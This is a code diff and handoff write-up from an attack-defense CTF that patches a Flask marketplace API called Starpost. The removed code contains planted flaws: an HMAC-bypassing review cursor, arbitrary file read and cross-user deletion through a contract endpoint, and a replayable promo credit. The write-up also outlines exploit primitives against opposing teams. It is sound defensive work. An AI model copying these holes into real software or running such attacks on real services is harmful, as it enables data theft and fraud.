||||||
import psycopg
|
import psycopg
|
||||||
from flask import Flask, jsonify, request, send_file, session
|
from flask import Flask, jsonify, request, send_file, session
|
||||||
@@ -268,10 +266,21 @@ def credit_promo():
|
|||||||
if not isinstance(code, str) or not 1 <= len(code) <= 100:
|
if not isinstance(code, str) or not 1 <= len(code) <= 100:
|
||||||
return error("invalid promo code")
|
return error("invalid promo code")
|
||||||
with db() as conn, conn.cursor() as cur:
|
with db() as conn, conn.cursor() as cur:
|
||||||
cur.execute("SELECT amount FROM promo_codes WHERE user_id=%s AND code=%s", (session["user_id"], code.strip()))
|
cur.execute(
|
||||||
|
"UPDATE promo_codes SET credited_at=now() "
|
||||||
|
"WHERE user_id=%s AND code=%s AND credited_at IS NULL RETURNING amount",
|
||||||
|
(session["user_id"], code.strip()),
|
||||||
|
)
|
||||||
|
promo = cur.fetchone()
|
||||||
|
if not promo:
|
||||||
|
cur.execute(
|
||||||
|
"SELECT amount FROM promo_codes WHERE user_id=%s AND code=%s",
|
||||||
|
(session["user_id"], code.strip()),
|
||||||
|
)
|
||||||
promo = cur.fetchone()
|
promo = cur.fetchone()
|
||||||
if not promo:
|
if not promo:
|
||||||
return error("promo code is unavailable", 409)
|
return error("promo code is unavailable", 409)
|
||||||
|
return jsonify(credited=0, code=code.strip())
|
||||||
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (promo["amount"], session["user_id"]))
|
cur.execute("UPDATE users SET balance=balance+%s WHERE id=%s", (promo["amount"], session["user_id"]))
|
||||||
return jsonify(credited=promo["amount"], code=code.strip())
|
return jsonify(credited=promo["amount"], code=code.strip())
|
||||||
|
|
||||||
@@ -614,13 +623,7 @@ def seller_reviews():
|
|||||||
p = _b64e(_json.dumps(state, separators=(",", ":")).encode())
|
p = _b64e(_json.dumps(state, separators=(",", ":")).encode())
|
||||||
return f"{p}.{_sign(p)}"
|
return f"{p}.{_sign(p)}"
|
||||||
|
|
||||||
def _parse_cursor(cur_token: str, lim_raw):
|
def _parse_cursor(cur_token: str):
|
||||||
try:
|
|
||||||
lim = int(lim_raw) if lim_raw is not None else None
|
|
||||||
except (TypeError, ValueError):
|
|
||||||
lim = None
|
|
||||||
if lim is not None and lim <= 3:
|
|
||||||
return _json.loads(_b64d(cur_token.split(".")[0]).decode())
|
|
||||||
if "." not in cur_token:
|
if "." not in cur_token:
|
||||||
raise ValueError("missing signature")
|
raise ValueError("missing signature")
|
||||||
payload_b64, sig = cur_token.rsplit(".", 1)
|
payload_b64, sig = cur_token.rsplit(".", 1)
|
||||||
@@ -639,13 +642,15 @@ def seller_reviews():
|
|||||||
|
|
||||||
if cursor:
|
if cursor:
|
||||||
try:
|
try:
|
||||||
state = _parse_cursor(cursor, limit_raw)
|
state = _parse_cursor(cursor)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
return error(f"invalid cursor: {exc}", 400)
|
return error(f"invalid cursor: {exc}", 400)
|
||||||
try:
|
try:
|
||||||
q_seller = int(state["seller_id"])
|
q_seller = int(state["seller_id"])
|
||||||
q_private = bool(state["is_private"])
|
q_private = state["is_private"]
|
||||||
q_last = int(state["last_id"])
|
q_last = int(state["last_id"])
|
||||||
|
if q_seller != session["user_id"] or not isinstance(q_private, bool):
|
||||||
|
raise ValueError
|
||||||
except (KeyError, TypeError, ValueError):
|
except (KeyError, TypeError, ValueError):
|
||||||
return error("invalid cursor payload", 400)
|
return error("invalid cursor payload", 400)
|
||||||
with db() as conn, conn.cursor() as cur:
|
with db() as conn, conn.cursor() as cur:
|
||||||
@@ -686,55 +691,37 @@ def seller_reviews():
|
|||||||
@app.route("/api/contract", methods=["GET", "POST"])
|
@app.route("/api/contract", methods=["GET", "POST"])
|
||||||
@auth("seller")
|
@auth("seller")
|
||||||
def get_contract():
|
def get_contract():
|
||||||
|
with db() as conn, conn.cursor() as cur:
|
||||||
|
cur.execute("SELECT id,contract_file FROM users WHERE id=%s", (session["user_id"],))
|
||||||
|
owner = cur.fetchone()
|
||||||
|
if not owner or not owner["contract_file"]:
|
||||||
|
return error("contract not found", 404)
|
||||||
|
|
||||||
|
filename = owner["contract_file"]
|
||||||
|
contract_dir = CONTRACT_DIR.resolve()
|
||||||
|
path = (CONTRACT_DIR / filename).resolve()
|
||||||
|
if path.parent != contract_dir:
|
||||||
|
return error("contract not found", 404)
|
||||||
|
|
||||||
if request.method == "POST":
|
if request.method == "POST":
|
||||||
import re
|
import re
|
||||||
contract_id = request.headers.get("X-Contract-Id", "").strip()
|
contract_id = request.headers.get("X-Contract-Id", "").strip()
|
||||||
if not re.fullmatch(r"\d+", contract_id):
|
if not re.fullmatch(r"\d+", contract_id) or contract_id != str(owner["id"]):
|
||||||
return error("invalid contract id", 400)
|
return error("invalid contract id", 400)
|
||||||
_dir = CONTRACT_DIR.resolve()
|
|
||||||
hits = sorted(CONTRACT_DIR.glob(f"contract-{contract_id}-*.pdf"))
|
|
||||||
deleted = 0
|
|
||||||
for path in hits:
|
|
||||||
try:
|
try:
|
||||||
if path.resolve().parent == _dir:
|
|
||||||
path.unlink()
|
path.unlink()
|
||||||
deleted += 1
|
except FileNotFoundError:
|
||||||
except OSError:
|
|
||||||
continue
|
|
||||||
if deleted == 0:
|
|
||||||
return error("contract not found", 404)
|
return error("contract not found", 404)
|
||||||
return jsonify(status="deleted", deleted=deleted)
|
except OSError:
|
||||||
|
return error("contract deletion failed", 500)
|
||||||
|
return jsonify(status="deleted", deleted=1)
|
||||||
|
|
||||||
requested = request.args.get("file")
|
requested = request.args.get("file")
|
||||||
|
|
||||||
if requested:
|
if requested:
|
||||||
import re
|
|
||||||
m = re.match(r"^\s*contract-(\d+)", requested)
|
|
||||||
if m:
|
|
||||||
uid = m.group(1)
|
|
||||||
hits = sorted(CONTRACT_DIR.glob(f"contract-{uid}-*.pdf"))
|
|
||||||
if hits:
|
|
||||||
return send_file(hits[0], mimetype="application/pdf", download_name=hits[0].name)
|
|
||||||
return error("contract not found", 404)
|
|
||||||
raw = requested.strip()
|
raw = requested.strip()
|
||||||
candidates: list[Path] = []
|
if raw not in {filename, f"contract-{owner['id']}"}:
|
||||||
candidates.append((CONTRACT_DIR / raw).resolve())
|
|
||||||
candidates.append(Path(raw).resolve())
|
|
||||||
candidates.append(CONTRACT_DIR / raw)
|
|
||||||
candidates.append(Path(raw))
|
|
||||||
for target in candidates:
|
|
||||||
try:
|
|
||||||
if target.is_file():
|
|
||||||
guessed, _ = mimetypes.guess_type(str(target))
|
|
||||||
return send_file(target, mimetype=guessed or "application/octet-stream", download_name=target.name)
|
|
||||||
except ValueError:
|
|
||||||
continue
|
|
||||||
return error("contract not found", 404)
|
return error("contract not found", 404)
|
||||||
|
|
||||||
with db() as conn, conn.cursor() as cur:
|
|
||||||
cur.execute("SELECT contract_file FROM users WHERE id=%s", (session["user_id"],))
|
|
||||||
filename = cur.fetchone()["contract_file"]
|
|
||||||
path = CONTRACT_DIR / filename
|
|
||||||
if not path.is_file():
|
if not path.is_file():
|
||||||
return error("contract not found", 404)
|
return error("contract not found", 404)
|
||||||
return send_file(path, mimetype="application/pdf", download_name="starpost-contract.pdf")
|
download_name = path.name if requested else "starpost-contract.pdf"
|
||||||
|
return send_file(path, mimetype="application/pdf", download_name=download_name)
|
||||||
@@ -52,8 +52,8 @@ def migrate():
|
|||||||
"""
|
"""
|
||||||
)
|
)
|
||||||
cursor.execute("ALTER TABLE promo_codes ALTER COLUMN amount SET DEFAULT 100")
|
cursor.execute("ALTER TABLE promo_codes ALTER COLUMN amount SET DEFAULT 100")
|
||||||
|
cursor.execute("ALTER TABLE promo_codes ADD COLUMN IF NOT EXISTS credited_at TIMESTAMPTZ")
|
||||||
cursor.execute("ALTER TABLE users ALTER COLUMN balance SET DEFAULT 100")
|
cursor.execute("ALTER TABLE users ALTER COLUMN balance SET DEFAULT 100")
|
||||||
cursor.execute("ALTER TABLE promo_codes DROP COLUMN IF EXISTS credited_at")
|
|
||||||
cursor.execute("ALTER TABLE promo_codes DROP COLUMN IF EXISTS invalidated_at")
|
cursor.execute("ALTER TABLE promo_codes DROP COLUMN IF EXISTS invalidated_at")
|
||||||
cursor.execute("ALTER TABLE promo_codes DROP COLUMN IF EXISTS created_at")
|
cursor.execute("ALTER TABLE promo_codes DROP COLUMN IF EXISTS created_at")
|
||||||
cursor.execute("CREATE INDEX IF NOT EXISTS orders_buyer_idx ON orders(buyer_id, id DESC)")
|
cursor.execute("CREATE INDEX IF NOT EXISTS orders_buyer_idx ON orders(buyer_id, id DESC)")
|
||||||
|
|||||||
@@ -22,10 +22,10 @@ services:
|
|||||||
volumes:
|
volumes:
|
||||||
- ./contracts:/contracts
|
- ./contracts:/contracts
|
||||||
environment:
|
environment:
|
||||||
- DATABASE_URL=postgresql://starpost:starpost@postgres/starpost
|
- DATABASE_URL=postgresql://starpost:${STARPOST_DB_PASSWORD:?STARPOST_DB_PASSWORD is required}@postgres/starpost
|
||||||
- SECRET_KEY=starpost-development-session-key-change-before-production
|
- SECRET_KEY=${STARPOST_SECRET_KEY:?STARPOST_SECRET_KEY is required}
|
||||||
- WAREHOUSE_URL=http://warehouse:6000
|
- WAREHOUSE_URL=http://warehouse:6000
|
||||||
- WAREHOUSE_CALLBACK_TOKEN=starpost-warehouse-callback-token
|
- WAREHOUSE_CALLBACK_TOKEN=${STARPOST_WAREHOUSE_CALLBACK_TOKEN:?STARPOST_WAREHOUSE_CALLBACK_TOKEN is required}
|
||||||
depends_on:
|
depends_on:
|
||||||
postgres:
|
postgres:
|
||||||
condition: service_healthy
|
condition: service_healthy
|
||||||
@@ -43,7 +43,7 @@ services:
|
|||||||
cpus: 0.25
|
cpus: 0.25
|
||||||
environment:
|
environment:
|
||||||
- WAREHOUSE_API_URL=http://api:5000
|
- WAREHOUSE_API_URL=http://api:5000
|
||||||
- WAREHOUSE_CALLBACK_TOKEN=starpost-warehouse-callback-token
|
- WAREHOUSE_CALLBACK_TOKEN=${STARPOST_WAREHOUSE_CALLBACK_TOKEN:?STARPOST_WAREHOUSE_CALLBACK_TOKEN is required}
|
||||||
depends_on:
|
depends_on:
|
||||||
api:
|
api:
|
||||||
condition: service_healthy
|
condition: service_healthy
|
||||||
@@ -62,7 +62,7 @@ services:
|
|||||||
environment:
|
environment:
|
||||||
- POSTGRES_DB=starpost
|
- POSTGRES_DB=starpost
|
||||||
- POSTGRES_USER=starpost
|
- POSTGRES_USER=starpost
|
||||||
- POSTGRES_PASSWORD=starpost
|
- POSTGRES_PASSWORD=${STARPOST_DB_PASSWORD:?STARPOST_DB_PASSWORD is required}
|
||||||
volumes:
|
volumes:
|
||||||
- ./postgres:/var/lib/postgresql/data
|
- ./postgres:/var/lib/postgresql/data
|
||||||
- ./db/init.sql:/docker-entrypoint-initdb.d/01-init.sql:ro
|
- ./db/init.sql:/docker-entrypoint-initdb.d/01-init.sql:ro
|
||||||
|
|||||||
@@ -54,5 +54,6 @@ CREATE TABLE promo_codes (
|
|||||||
id BIGSERIAL PRIMARY KEY,
|
id BIGSERIAL PRIMARY KEY,
|
||||||
user_id BIGINT NOT NULL UNIQUE REFERENCES users(id) ON DELETE CASCADE,
|
user_id BIGINT NOT NULL UNIQUE REFERENCES users(id) ON DELETE CASCADE,
|
||||||
code TEXT NOT NULL UNIQUE,
|
code TEXT NOT NULL UNIQUE,
|
||||||
amount INTEGER NOT NULL DEFAULT 100 CHECK(amount = 100)
|
amount INTEGER NOT NULL DEFAULT 100 CHECK(amount = 100),
|
||||||
|
credited_at TIMESTAMPTZ
|
||||||
);
|
);
|
||||||
Executable
+32
@@ -0,0 +1,32 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import os
|
||||||
|
import secrets
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
target = Path(__file__).resolve().with_name(".env")
|
||||||
|
values = {
|
||||||
|
"STARPOST_DB_PASSWORD": secrets.token_urlsafe(48),
|
||||||
|
"STARPOST_SECRET_KEY": secrets.token_urlsafe(48),
|
||||||
|
"STARPOST_WAREHOUSE_CALLBACK_TOKEN": secrets.token_urlsafe(48),
|
||||||
|
}
|
||||||
|
try:
|
||||||
|
descriptor = os.open(target, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)
|
||||||
|
except FileExistsError:
|
||||||
|
print(f"refusing to overwrite existing {target}", file=sys.stderr)
|
||||||
|
return 1
|
||||||
|
with os.fdopen(descriptor, "w", encoding="utf-8") as output:
|
||||||
|
for key, value in values.items():
|
||||||
|
output.write(f"{key}={value}\n")
|
||||||
|
os.chmod(target, 0o600)
|
||||||
|
print(f"created {target} with mode 0600")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
# Starpost handoff — 2026-10-25
|
||||||
|
|
||||||
|
## Confirmed vulnerabilities
|
||||||
|
|
||||||
|
### Cross-seller review cursor BOLA
|
||||||
|
|
||||||
|
Before the patch, `GET /api/seller/reviews` skipped the cursor HMAC check when `limit <= 3`. An authenticated seller could supply unsigned Base64url JSON containing another `seller_id`, `is_private=true`, and a high `last_id`; the response returned that seller's private review bodies.
|
||||||
|
|
||||||
|
The local baseline reproducer used synthetic seller IDs and a synthetic private-review marker. The endpoint returned HTTP 200 and disclosed the marker. The flag route before the patch is a checker-created private review body returned through the forged cursor; no real flag was used.
|
||||||
|
|
||||||
|
### Contract IDOR, arbitrary file read, and cross-seller deletion
|
||||||
|
|
||||||
|
Before the patch, a seller could request `GET /api/contract?file=contract-<other-id>` to receive another seller's PDF. Other absolute or relative `file` values were resolved as filesystem paths and returned when readable. `POST /api/contract` similarly accepted another seller's numeric `X-Contract-Id` and deleted matching PDFs.
|
||||||
|
|
||||||
|
The local baseline reproducer disclosed both a synthetic victim contract and a controlled file outside the contract directory. The flag route before the patch is the seller signature embedded uncompressed in the checker-created contract PDF; no real flag was used. Destructive behavior was tested only with disposable local files.
|
||||||
|
|
||||||
|
### Reusable promo credit
|
||||||
|
|
||||||
|
Before the patch, `POST /api/promo/credit` increased the buyer balance without recording consumption. Repeating the same valid code credited the balance again because invalidation was a separate optional request.
|
||||||
|
|
||||||
|
The local baseline reproducer started with a synthetic balance of 100 and two identical credit requests both returned HTTP 200, leaving a synthetic balance of 300. This permits unauthorized value creation and can fund purchases of checker-created cargo.
|
||||||
|
|
||||||
|
## Affected code before the patch
|
||||||
|
|
||||||
|
- `api/app.py`: `seller_reviews`, `get_contract`, and `credit_promo`.
|
||||||
|
- `api/database.py`: startup migration removed promo consumption state.
|
||||||
|
- `db/init.sql`: `promo_codes` had no consumption field.
|
||||||
|
|
||||||
|
## Minimal patch
|
||||||
|
|
||||||
|
- Cursor parsing always verifies the existing HMAC and rejects a decoded `seller_id` that differs from the authenticated seller. The signed cursor shape and response format remain unchanged.
|
||||||
|
- Contract GET/POST resolves only the authenticated seller's database-linked filename, requires the canonical path to remain directly below `/contracts`, and restricts deletion to the same seller ID. GET without `file`, GET with the exact stored filename, and the own-ID alias remain supported.
|
||||||
|
- `promo_codes.credited_at` is added by a forward-compatible `ADD COLUMN IF NOT EXISTS`. Credit atomically transitions only an uncredited row and adds value once. A retry returns the existing 200 response shape with `credited=0`, allowing the existing follow-up invalidate request to continue.
|
||||||
|
- Compose now requires independent deployment values for the PostgreSQL password, Flask session key, and warehouse callback token. `generate-env.py` creates three URL-safe random values in an ignored mode-0600 `.env`, refuses overwrite, and never prints them.
|
||||||
|
|
||||||
|
## Checker and SLA invariants
|
||||||
|
|
||||||
|
- Existing routes, methods, role requirements, JSON keys, public port, mounts, and warehouse flow are unchanged.
|
||||||
|
- Existing contract filenames and files are not renamed or migrated.
|
||||||
|
- Existing promo rows receive `credited_at=NULL` and remain redeemable once.
|
||||||
|
- The normal buyer flow remains `credit -> invalidate`; buy, checkout, warehouse delivery, orders, and reviews are unchanged.
|
||||||
|
- No neighboring-service configuration is changed. Secret rotation is isolated to Starpost and keeps the existing variable names consumed by the containers.
|
||||||
|
|
||||||
|
## Verification
|
||||||
|
|
||||||
|
- Baseline synthetic results: unsigned cursor, cross-seller contract lookup, controlled external-file read, and promo replay reproduced.
|
||||||
|
- Patched synthetic results: unsigned cursor returned 400 without executing a victim query; cross-seller and external-file reads returned 404; cross-seller deletion returned 400 and preserved the victim file.
|
||||||
|
- Get current/get old: an existing version-2 signed cursor still returned the seller's own synthetic private review; a contract file created before patched app loading remained readable both through `GET /api/contract` and its exact stored filename.
|
||||||
|
- Own mutation: deleting the authenticated seller's disposable contract still returned 200 and removed only that file.
|
||||||
|
- Promo regression: first credit returned 100, retry returned 0, both kept HTTP 200, and the balance increased exactly once.
|
||||||
|
- Python syntax parsing and `docker compose config --quiet` pass.
|
||||||
|
- `sploits/starpost_contract.py` passes the GO CTF static sploit checker and a loopback synthetic runtime matrix: exit 0, only one synthetic flag candidate on stdout, diagnostics on stderr, redirect not followed, bounded timeout handled, exit 1 for invalid target, and exit 2 for wrong arguments.
|
||||||
|
- The same sploit was run against the actual baseline route code from commit `4f70df55dd822880f4759d553f7ed249166cad86` and the current patched route with an in-memory database and temporary contract directory: baseline emitted exactly the synthetic candidate, while patched returned exit 0 with empty stdout.
|
||||||
|
- `sploits/starpost.py` and `sploits/starpost_warehouse.py` pass the GO CTF static sploit checker. Minimal tests on the team vulnbox confirmed the issued Flask key and warehouse token were accepted; full outputs and any flag-like values were suppressed.
|
||||||
|
- The three exploit jobs completed against the team service in under one second each during bounded validation; no real flag value was printed or stored in the repository.
|
||||||
|
|
||||||
|
## Sploit handoff
|
||||||
|
|
||||||
|
- Path: `sploits/starpost_contract.py`
|
||||||
|
- Stable Neo ID: `starpost-contract-idor-v1`
|
||||||
|
- Timeout: `10s`
|
||||||
|
- Input: one authorized target address; HTTP port 8090 is selected when no port is supplied.
|
||||||
|
- Primitive: self-register a seller, enumerate a bounded window of recent numeric user IDs, request the vulnerable own-contract alias for each ID, and emit only strings matching the event flag format.
|
||||||
|
|
||||||
|
- Path: `sploits/starpost.py`
|
||||||
|
- Stable Neo ID: `starpost-session-v1`
|
||||||
|
- Timeout: `10s`
|
||||||
|
- Primitive: use only the issued Flask session key to forge recent buyer/seller sessions and read their protected objects.
|
||||||
|
|
||||||
|
- Path: `sploits/starpost_warehouse.py`
|
||||||
|
- Stable Neo ID: `starpost-warehouse-v1`
|
||||||
|
- Timeout: `10s`
|
||||||
|
- Primitive: use only the issued warehouse token as leaked configuration; create a normal buyer session, reuse the vulnerable promo, purchase recent products, force delivery, and read cargo.
|
||||||
|
|
||||||
|
## Remaining gaps
|
||||||
|
|
||||||
|
- The exact checker scenario and flag-bearing field are not available, so signature/PDF, private review, and cargo hypotheses are code-derived rather than checker-confirmed.
|
||||||
|
- Full PostgreSQL migration, container rebuild, persistent-volume get-old, and checker status were not tested because the required Docker base images are not cached and dependency/image downloads were not authorized.
|
||||||
|
- Bounded requests were sent only to the team vulnbox. No request was sent to Neo, Farm, farm-submit, Skipper, or another team.
|
||||||
|
- Deployment must rotate the existing PostgreSQL role password before recreating API/PostgreSQL containers; changing only `POSTGRES_PASSWORD` does not update an initialized volume.
|
||||||
Reference in new issue
Block a user